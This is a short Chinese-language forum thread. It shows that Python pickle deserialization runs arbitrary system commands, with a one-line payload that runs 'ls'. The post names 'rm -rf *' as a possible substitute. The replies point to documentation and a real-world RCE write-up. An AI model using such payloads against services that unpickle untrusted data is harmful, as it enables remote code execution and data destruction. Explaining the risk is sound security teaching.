pickle 反序列化時是可以執行任意系統命令的

2016 年 9 月 22 日
 013231
import pickle
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

上面的代碼中, ls 被執行, 列出了當前目錄下的文件. 這裡可以替換成其他命令, 例如rm -rf *.

Stackoverflow上的原理解釋.

3432 次点击
所在节点    Python
5 条回复
binux
2016 年 9 月 22 日
这不是很正常吗？
phithon
2016 年 9 月 22 日
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
多加学习
ryd994
2016 年 9 月 23 日
RTFM: https://docs.python.org/3/library/pickle.html
qiukun
2016 年 9 月 23 日
所以说无论如何都要读文档啊
mulog
2016 年 9 月 23 日
@phithon 厉害
iReader 起码也算有挺大体量的公司了 居然这么坑。。

这是一个专为移动设备优化的页面（即为了让你能够在 Google 搜索结果里秒开这个页面），如果你希望参与 V2EX 社区的讨论，你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://study.congcong.us/t/308298

V2EX 是创意工作者们的社区，是一个分享自己正在做的有趣事物、交流想法，可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX